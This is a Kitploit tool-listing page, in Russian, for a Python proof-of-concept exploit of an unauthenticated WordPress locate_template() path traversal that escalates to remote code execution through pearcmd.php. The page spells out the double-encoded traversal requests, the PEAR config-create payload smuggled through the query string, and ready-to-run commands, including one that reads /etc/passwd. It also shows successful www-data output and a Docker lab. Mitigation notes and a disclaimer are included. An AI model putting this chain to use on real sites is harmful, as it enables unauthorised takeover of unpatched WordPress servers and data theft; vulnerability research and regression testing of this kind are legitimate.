Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-87902 — Python PoC, эксплуатирующий CVE-2026-87902 — неаутентифицированный обход пути в WordPress locate_template(), приводящий к LFI и RCE на основе PEAR, с безопасным режимом обнаружения. | Kitploit
Инструменты/GitHubGitHub/crowsec-edtech/cve-2026-87902
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЛаборатории и Практика
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

Python PoC, эксплуатирующий CVE-2026-87902 — неаутентифицированный обход пути в WordPress locate_template(), приводящий к LFI и RCE на основе PEAR, с безопасным режимом обнаружения.

Репозиторий
21 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-87902 — PoC: неаутентифицированный path traversal в разрешении page-template WordPress

Файл эксплойта: exploit_locate_template_rce.py — Python 3.6+ (только stdlib).

Пайплайн одной командой: безопасное обнаружение (дифференциал LFI, без записи) →, если уязвимо, RCE через гаджет pearcmd.php, выполняющий команду на ваш выбор (--command/-c). Используйте --validate-only, чтобы остановиться до стадии записи.

Тестирует CVE-2026-87902 в версиях WordPress без фикса из коммита 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2, бэкпорты до 4.7.37).

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
УязвимыеWordPress 4.7.0 – 7.1.1 (все ветки)
Фикс7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit5fde0bb7b9775523959094bf280cc54bfa78af51 (merge changeset 63792)
Файлыwp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
АутентификацияОтсутствует — ни пользователя, ни cookie, ни nonce, ни плагина
БлагодарностиОбнаружение и раскрытие: Robert Ressl

⚠️ Только для авторизованного тестирования. Используйте в контролируемых вами средах (лаборатория ниже изолирована) или при явном разрешении владельца.


1. Уязвимость

В версиях без фикса цепочка get_page_template() → locate_template() → template-loader никогда не гарантирует, что выбранный шаблон остаётся внутри темы.

До фикса (wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

После фикса (коммит 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

Цепочка эксплуатации (код репозитория)

  1. pagename и page_id — публичные query vars, принимаются в теле анонимного POST. Метод POST заставляет redirect_canonical() (canonical.php) вернуться рано — он действует только на GET/HEAD, поэтому ничего не перенаправляется.
  2. Traversal двойной кодировки (templates%252f%252e%252e%252f...) и выживает после sanitize: WP_Query::get_posts() (стр.2191) перезаписывает pagename через sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() не ломается на %2F (formatting.php стр.5768), а sanitize сохраняет октеты %XX (стр.2395).
  3. page_id (стр.2252) перезаписывает WHERE ("$where =", а не ".=") — реальная страница загружается, без 404, а вредоносный pagename остаётся в объекте запроса.
  4. get_page_template() выполняет urldecode() поздно и собирает page-<traversal>.php без validate_file().
  5. locate_template() до патча вызывает только file_exists() → include выходит за пределы темы.

Предусловия

#ПредусловиеПричина
1Опубликованная страница, доступная анонимно, выбираемая по page_id и без custom templateЗапрос должен разрешаться в Page; custom template шёл бы раньше в иерархии
2Каталог верхнего уровня в активной теме (child или parent), начинающийся с page- (например, page-templates/)WP добавляет фиксированный префикс page-; именно через него входит traversal. Достаточно его существования и возможности обхода (может быть пустым). Присутствует в Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3Существующая и читаемая локальная цель .phpЗагрузчик добавляет .php и проверяет is_file()/is_readable()
4(только для RCE) читаемый pearcmd.php + register_argc_argv=On + записываемый каталог (например, /tmp)Маршрут PEAR→RCE: config-create записывает PHP-пейлоад на сервер

2. Что делает скрипт

Стадия 1 — безопасное обнаружение (выполняется всегда первой)

Три анонимных POST к опубликованной странице — без записи на диск:

ЗапросpagenameОжидаемый ответ (уязвимо)
A — baseline—200, нормальное тело (~23 KB)
B — контрольtraversal → несуществующий файл200, нормальное тело (fallback page.php)
C — пробаtraversal → wp-content/index.php ("Silence is golden")200 с пустым телом

Сигнатура: C пустой + A/B нормальные ⇒ include вышел за пределы темы ⇒ УЯЗВИМО. Обнаружение автоматически перебирает: каталоги-кандидаты темы (page-templates, page-template) × глубины 1–12. Результат (theme-dir + depth) питает стадию RCE.

С --validate-only скрипт останавливается здесь (exit 0, если уязвимо).

Стадия 2 — RCE через pearcmd.php (запись)

root@kitploit:~
Стадия 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → traversal включает /usr/local/lib/php/pearcmd.php
           → argv берётся из сырой query string (register_argc_argv=On)
           → config-create ЗАПИСЫВАЕТ пейлоад в /tmp/wp-pear-rce.php (12 сериализованных копий)

Стадия 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → тот же traversal включает сгенерированный файл → system(<--command>) выполняется как www-data

Детали формата (все ограничения обрабатываются скриптом):

  • POST, а не GET: тело несёт page_id + pagename; query string несёт исключительно argv PEAR (?+config-create+<root>+<out>).
  • Пейлоад без единой кавычки: wp_magic_quotes() (load.php стр.1290) применяет add_magic_quotes($_SERVER), а pearcmd читает argv из $_SERVER['argv'] — любая кавычка превратилась бы в \' и сломала бы сгенерированный файл. Все PHP-строки становятся конкатенацией chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Request target байт-в-байт (http.client): сырые байты +, <, > из query string — это argv; ничего не может быть перезаписано/перекодировано по пути.
  • config-create требует абсолютный root path — пейлоад инжектируется как сам root (/<php>), с префиксом-маркером ___WP_RCE_OK___, ограничивающим вывод.
  • RCE пробует depths начиная с обнаруженного (внутренний порядок 7, 6, 8, 5, …) и несколько путей pearcmd.php (официальный Docker, Debian/Ubuntu, XAMPP) — настройте через --pear-path/--output при необходимости.

"Загрузки" нет: цель обнаружения — файл, который поставляется с каждым WordPress (wp-content/index.php); пейлоад RCE записывается самим сервером через гаджет PEAR, работая как www-data.


3. Использование

root@kitploit:~
# 1) Только валидация уязвимости (LFI probe, без записи)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Обнаружение + RCE с выполнением команды (по умолчанию: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Полезные комбинации
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Параметры

ПараметрПо умолчаниюОписание
--url, -u(обязательно)Базовый URL WordPress
--command, -cidShell-команда, выполняемая на цели (игнорируется с --validate-only)
--validate-onlyoffТолько валидация уязвимости (LFI, останавливается до RCE/записи)
--page-idauto (REST, fallback probe)ID опубликованной страницы без custom template
--theme-dirпробует page-templates, page-templateКаталог верхнего уровня темы, начинающийся с page-
--probe-targetindexЦель пробы обнаружения, без .php (index → wp-content/index.php)
--depth0 (перебор 1–12)Число сегментов ../
--pear-pathпробует внутренний списокpearcmd.php стадии RCE, без .php (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rceЗаписываемое назначение пейлоада PEAR, без .php
--timeout20Таймаут на запрос (с)
--insecureoffНе проверять TLS-сертификат
--verboseoffПодробный вывод по каждой попытке

Ожидаемый вывод в лаборатории

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

Коды выхода: 0 = успешно валидировано/RCE · 1 = не подтверждено/неудача · 2 = ошибка (например, не найдено ни одной опубликованной страницы). Служит регрессионной проверкой: в WordPress ≥ 7.1.2 проба никогда не бывает пустой и возвращает 1.


4. Лаборатория (Docker)

Используемая лаборатория: docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

Почему важен каждый элемент:

  • 7.1.1-php8.3: должен быть < 7.1.2 и php8.3 — в PHP 8.5 register_argc_argv по умолчанию Off в HTTP SAPI, а PEAR исключён из дистрибутива, поэтому стадия RCE не работает (обнаружение LFI работает).
  • Rolling-тег = ловушка: wordpress:php8.3-apache сегодня скачивает 7.1.2+ (пропатченный), и эксплойт корректно не срабатывает.
  • Смена образа не откатывает: том wp_data сохраняет ядро; смена тега требует docker compose down -v, чтобы entrypoint скопировал файлы из нового образа.
  • page-templates/ (fixture): темы по умолчанию (Twenty Twenty-*) не имеют каталога page-* — без него фиксированный префикс page- никогда не разрешается и ни одна глубина не работает. Альтернатива bind mount: command: > с sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On: официальный образ не загружает web php.ini, поэтому действует скомпилированный default (On в php8.3). Проверьте: docker exec <c> php -i | grep argc.
  • Depths лаборатории: обнаружение срабатывает на 3 (page-templates/ → 3×.. → wp-content/); PEAR срабатывает на 7 (→ / → /usr/local/lib/php/pearcmd.php).

5. Ограничения и заметка для защитников

  • Отрицательный результат неокончателен (тема без page-*, страница с custom template, open_basedir, WAF/прокси, блокирующий traversal, недействительный page_id).
  • Пустая проба может быть имитирована WAF, отвечающим пустым 200 — подтвердите по логам.
  • Митигации: обновление до 7.1.2+ (или бэкпорт ветки); register_argc_argv=Off для web SAPI; удаление читаемого pearcmd.php в продакшене; аудит тем на каталоги page-* верхнего уровня; алерты в логах по pagename с %252f/%252e (двойная кодировка).
  • PEAR — лишь один маршрут inclusion→execution; любой читаемый и полезный .php может быть целью LFI (обнаружение через --probe-target).

6. Ссылки

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix (ветка 7.1): коммит 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • Write-up и PoC от обнаружителя: https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • Дифференциальное обнаружение (Hadrian): https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

Правовая оговорка

Этот материал предоставлен исключительно для авторизованных исследований и тестирования безопасности. Использование против систем без явного разрешения владельца незаконно. Эксплойт разработан и проверен исключительно в изолированной локальной лаборатории.

Скачать инструмент